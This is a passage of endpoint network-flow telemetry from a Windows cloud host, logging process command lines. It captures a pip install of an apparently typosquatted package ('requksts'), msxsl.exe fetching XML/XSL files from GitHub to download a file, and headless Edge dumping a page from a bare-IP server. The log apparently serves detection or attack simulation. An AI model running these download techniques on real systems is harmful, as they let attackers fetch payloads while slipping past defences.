\"C:\Users\Administrator\AppData\Local\Programs\Python\Python313\Scripts\pip.exe\" install requksts" ppid="7872" pppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\Scripts\pip.exe" pparg=" install requksts" aliul="''" pil="12288" ppil="12288" fsg="1" puid="465443D0B7158CFC9FB54B87FE394AB8"
Jul  4 22:38:32 127.0.0.1 Jul  4 22:38:32 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="55725" da="151.101.0.223" dp="443" fd="1" fss="1751668689" fst="Fri Jul  4 22:38:09 2025" fes="1751668697" fet="Fri Jul  4 22:38:17 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="pip.exe" pph="795AE1E07816D6C22AEA394023AF12EF77E056A7F8E28496DFB4F1DECEA04412" ibc="220006" obc="3225" ds="us-east-2.compute.internal" dh="pypi.org" iid="8" mnl="''" mhl="''" fsms="1751668689566" fems="1751668697604" pid="248" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" \"C:\Users\Administrator\AppData\Local\Programs\Python\Python313\Scripts\pip.exe\" install requksts" ppid="7872" pppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\Scripts\pip.exe" pparg=" install requksts" aliul="''" pil="12288" ppil="12288" fsg="0" puid="465443D0B7158CFC9FB54B87FE394AB8"
Jul  4 22:38:17 127.0.0.1 Jul  4 22:38:17 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="55725" da="151.101.0.223" dp="443" fd="1" fss="1751668689" fst="Fri Jul  4 22:38:09 2025" fes="1751668689" fet="Fri Jul  4 22:38:09 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="pip.exe" pph="795AE1E07816D6C22AEA394023AF12EF77E056A7F8E28496DFB4F1DECEA04412" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="pypi.org" iid="8" mnl="''" mhl="''" fsms="1751668689566" fems="1751668689566" pid="248" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" \"C:\Users\Administrator\AppData\Local\Programs\Python\Python313\Scripts\pip.exe\" install requksts" ppid="7872" pppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\Scripts\pip.exe" pparg=" install requksts" aliul="''" pil="12288" ppil="12288" fsg="1" puid="465443D0B7158CFC9FB54B87FE394AB8"
Jul  5 18:20:55 127.0.0.1 Jul  5 18:20:55 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="60705" da="185.199.108.133" dp="443" fd="1" fss="1751739631" fst="Sat Jul  5 18:20:31 2025" fes="1751739631" fet="Sat Jul  5 18:20:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msxsl.exe" ph="35BA7624F586086F32A01459FCC0AB755B01B49D571618AF456AA49E593734C7" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="6447" obc="739" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="8" mnl="''" mhl="''" fsms="1751739631243" fems="1751739631288" pid="7268" ppath="C:\Users\Administrator\Documents\msxsl.exe" parg=" \"https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml\" \"https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl\" -o calc.xsl" ppid="7384" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="9352770110EC84FFB3A83C54CA17DBA5"
Jul  5 18:20:50 127.0.0.1 Jul  5 18:20:50 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="60705" da="185.199.108.133" dp="443" fd="1" fss="1751739631" fst="Sat Jul  5 18:20:31 2025" fes="1751739631" fet="Sat Jul  5 18:20:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msxsl.exe" ph="35BA7624F586086F32A01459FCC0AB755B01B49D571618AF456AA49E593734C7" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="8" mnl="''" mhl="''" fsms="1751739631243" fems="1751739631243" pid="7268" ppath="C:\Users\Administrator\Documents\msxsl.exe" parg=" \"https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml\" \"https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl\" -o calc.xsl" ppid="7384" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="9352770110EC84FFB3A83C54CA17DBA5"
Jul  5 18:20:14 127.0.0.1 Jul  5 18:20:14 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="60694" da="185.199.108.133" dp="443" fd="1" fss="1751739597" fst="Sat Jul  5 18:19:57 2025" fes="1751739597" fet="Sat Jul  5 18:19:57 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msxsl.exe" ph="35BA7624F586086F32A01459FCC0AB755B01B49D571618AF456AA49E593734C7" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="6447" obc="739" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="8" mnl="''" mhl="''" fsms="1751739597518" fems="1751739597564" pid="9300" ppath="C:\Users\Administrator\Documents\msxsl.exe" parg=" \"https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml\" \"https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl\"  -o calc.xsl" ppid="7384" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="09B2C87A043385A08C88F73B3264043A"
Jul  5 18:20:09 127.0.0.1 Jul  5 18:20:09 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="60694" da="185.199.108.133" dp="443" fd="1" fss="1751739597" fst="Sat Jul  5 18:19:57 2025" fes="1751739597" fet="Sat Jul  5 18:19:57 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msxsl.exe" ph="35BA7624F586086F32A01459FCC0AB755B01B49D571618AF456AA49E593734C7" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="8" mnl="''" mhl="''" fsms="1751739597518" fems="1751739597518" pid="9300" ppath="C:\Users\Administrator\Documents\msxsl.exe" parg=" \"https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml\" \"https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl\"  -o calc.xsl" ppid="7384" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="09B2C87A043385A08C88F73B3264043A"
Jul  5 18:19:54 127.0.0.1 Jul  5 18:19:54 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="60693" da="185.199.108.133" dp="443" fd="1" fss="1751739574" fst="Sat Jul  5 18:19:34 2025" fes="1751739574" fet="Sat Jul  5 18:19:34 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msxsl.exe" ph="35BA7624F586086F32A01459FCC0AB755B01B49D571618AF456AA49E593734C7" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="6447" obc="739" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="8" mnl="''" mhl="''" fsms="1751739574088" fems="1751739574127" pid="236" ppath="C:\Users\Administrator\Documents\msxsl.exe" parg=" \"https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml\" \"https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl\" " ppid="7384" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="4591F5C147318492AEC6AFD111861B22"
Jul  5 18:19:49 127.0.0.1 Jul  5 18:19:49 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="60693" da="185.199.108.133" dp="443" fd="1" fss="1751739574" fst="Sat Jul  5 18:19:34 2025" fes="1751739574" fet="Sat Jul  5 18:19:34 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msxsl.exe" ph="35BA7624F586086F32A01459FCC0AB755B01B49D571618AF456AA49E593734C7" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="8" mnl="''" mhl="''" fsms="1751739574088" fems="1751739574088" pid="236" ppath="C:\Users\Administrator\Documents\msxsl.exe" parg=" \"https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml\" \"https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl\" " ppid="7384" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="4591F5C147318492AEC6AFD111861B22"
Jul  5 18:19:34 127.0.0.1 Jul  5 18:19:34 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="60689" da="185.199.108.133" dp="443" fd="1" fss="1751739561" fst="Sat Jul  5 18:19:21 2025" fes="1751739561" fet="Sat Jul  5 18:19:21 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msxsl.exe" ph="35BA7624F586086F32A01459FCC0AB755B01B49D571618AF456AA49E593734C7" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="6952" obc="654" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="8" mnl="''" mhl="''" fsms="1751739561426" fems="1751739561839" pid="10064" ppath="C:\Users\Administrator\Documents\msxsl.exe" parg=" \"https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml\" \"https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl\" " ppid="7384" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="145844D8EFC381EFA53F928AC0D55312"
Jul  5 18:19:32 127.0.0.1 Jul  5 18:19:32 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="60689" da="185.199.108.133" dp="443" fd="1" fss="1751739561" fst="Sat Jul  5 18:19:21 2025" fes="1751739561" fet="Sat Jul  5 18:19:21 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msxsl.exe" ph="35BA7624F586086F32A01459FCC0AB755B01B49D571618AF456AA49E593734C7" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="8" mnl="''" mhl="''" fsms="1751739561426" fems="1751739561426" pid="10064" ppath="C:\Users\Administrator\Documents\msxsl.exe" parg=" \"https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml\" \"https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl\" " ppid="7384" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="145844D8EFC381EFA53F928AC0D55312"
Jul  5 23:23:16 127.0.0.1 Jul  5 23:23:16 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="185.126.198.156" sp="61880" da="185.126.198.156" dp="80" fd="1" fss="1751757796" fst="Sat Jul  5 23:23:16 2025" fes="1751757796" fet="Sat Jul  5 23:23:16 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msedge.exe" ph="DA03BA411259AD83F8313B842ED8F16F7F99CB0CEEE8AF729D9D9FB2E31320F7" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="msedge.exe" pph="DA03BA411259AD83F8313B842ED8F16F7F99CB0CEEE8AF729D9D9FB2E31320F7" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="8" mnl="Edge relevant text changes - 1.2.1 Google Docs Offline - 1.90.1" mhl="''" fsms="1751757796335" fems="1751757796335" pid="2500" ppath="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" parg="--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --no-pre-read-main-dll --always-read-main-dll --field-trial-handle=2332,i,4676390001272428826,4361271785064607930,262144 --disable-features=PaintHolding --variations-seed-version --enable-logging=handle --log-file=2460 --mojo-platform-channel-handle=2456 /prefetch:3" ppid="3552" pppath="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" pparg="  --headless --enable-logging --disable-gpu --dump-dom \"http://185.126.198.156/git-log.txt\" " aliul="''" pil="12288" ppil="12288" fsg="1" puid="BD86070447458DA683C211AA43461223"
Jul  5 23:23:16 127.0.0.1 Jul  5 23:23:16 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="185.126.198.156" sp="61879" da="185.126.198.156" dp="80" fd="1" fss="1751757796" fst="Sat Jul  5 23:23:16 2025" fes="1751757796" fet="Sat Jul  5 23:23:16 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msedge.exe" ph="DA03BA411259AD83F8313B842ED8F16F7F99CB0CEEE8AF729D9D9FB2E31320F7" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="msedge.exe" pph="DA03BA411259AD83F8313B842ED8F16F7F99CB0CEEE8AF729D9D9FB2E31320F7" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="8" mnl="Edge relevant text changes - 1.2.1 Google Docs Offline - 1.90.1" mhl="''" fsms="1751757796325" fems="1751757796325" pid="2500" ppath="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" parg="--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --no-pre-read-main-dll --always-read-main-dll --field-trial-handle=2332,i,4676390001272428826,4361271785064607930,262144 --disable-features=PaintHolding --variations-seed-version --enable-logging=handle --log-file=2460 --mojo-platform-channel-handle=2456 /prefetch:3" ppid="3552" pppath="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" pparg="  --headless --enable-logging --disable-gpu --dump-dom \"http://185.126.198.156/git-log.txt\" " aliul="''" pil="12288" ppil="12288" fsg="1" puid="BD86070447458DA683C211AA43461223"
Jul  5 23:22:55 127.0.0.1 Jul  5 23:22:55 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="185.126.198.156" sp="61858" da="185.126.198.156" dp="80" fd="1" fss="1751757774" fst="Sat Jul  5 23:22:54 2025" fes="1751757774" fet="Sat Jul  5 23:22:54 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msedge.exe" ph="DA03BA411259AD83F8313B842ED8F16F7F99CB0CEEE8AF729D9D9FB2E31320F7" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="msedge.exe" pph="DA03BA411259AD83F8313B842ED8F16F7F99CB0CEEE8AF729D9D9FB2E31320F7" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="8" mnl="Edge relevant text changes - 1.2.1 Google Docs Offline - 1.90.1" mhl="''" fsms="1751757774651" fems="1751757774651" pid="10440" ppath="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" parg="--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --no-pre-read-main-dll --always-read-main-dll --field-trial-handle=2324,i,15040125863535652471,2752710190278269555,262144 --disable-features=PaintHolding --variations-seed-version --enable-logging=handle --log-file=2444 --mojo-platform-channel-handle=2440 /prefetch:3" ppid="7500" pppath="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" pparg="  --headless --enable-logging --disable-gpu --dump-dom \"http://185.126.198.156/git-log.txt\" " aliul="''" pil="12288" ppil="12288" fsg="1" puid="D7E3415A8C0482E6AD748617521B090C"
Jul  5 23:22:54 127.0.0.1 Jul  5 23:22:54 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="185.126.198.156" sp="61855" da="185.126.198.156" dp="80" fd="1" fss="1751757774" fst="Sat Jul  5 23:22:54 2025" fes="1751757774" fet="Sat Jul  5 23:22:54 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msedge.exe" ph="DA03BA411259AD83F8313B842ED8F16F7F99CB0CEEE8AF729D9D9FB2E31320F7" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="msedge.exe" pph="DA03BA411259AD83F8313B842ED8F16F7F99CB0CEEE8AF729D9D9FB2E31320F7" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="8" mnl="Edge relevant text changes - 1.2.1 Google Docs Offline - 1.90.1" mhl="''" fsms="1751757774407" fems="1751757774407" pid="10440" ppath="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" parg="--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --no-pre-read-main-dll --always-read-main-dll --field-trial-handle=2324,i,15040125863535652471,2752710190278269555,262144 --disable-features=PaintHolding --variations-seed-version --enable-logging=handle --log-file=2444 --mojo-platform-channel-handle=2440 /prefetch:3" ppid="7500" pppath="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" pparg="  --headless --enable-logging --disable-gpu --dump-dom \"http://185.126.198.156/git-log.txt\" " aliul="''" pil="12288" ppil="12288" fsg="1" puid="D7E3415A8C0482E6AD748617521B090C"
Jul  5 23:22:54 127.0.0.1 Jul  5 23:22:54 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="185.126.198.156" sp="61854" da="185.126.198.156" dp="80" fd="1" fss="1751757774" fst="Sat Jul  5 23:22:54 2025" fes="1751757774" fet="Sat Jul  5 23:22:54 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msedge.exe" ph="DA03BA411259AD83F8313B842ED8F16F7F99CB0CEEE8AF729D9D9FB2E31320F7" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="msedge.exe" pph="DA03BA411259AD83F8313B842ED8F16F7F99CB0CEEE8AF729D9D9FB2E31320F7" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="8" mnl="Edge relevant text changes - 1.2.1 Google Docs Offline - 1.90.1" mhl="''" fsms="1751757774399" fems="1751757774399" pid="10440" ppath="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" parg="--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --no-pre-read-main-dll --always-read-main-dll --field-trial-handle=2324,i,15040125863535652471,2752710190278269555,262144 --disable-features=PaintHolding --variations-seed-version --enable-logging=handle --log-file=2444 --mojo-platform-channel-handle=2440 /prefetch:3" ppid="7500" pppath="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" pparg="  --headless --enable-logging --disable-gpu --dump-dom \"http://185.126.198.156/git-log.txt\" " aliul="''" pil="12288" ppil="12288" fsg="1" puid="D7E3415A8C0482E6AD748617521B090C"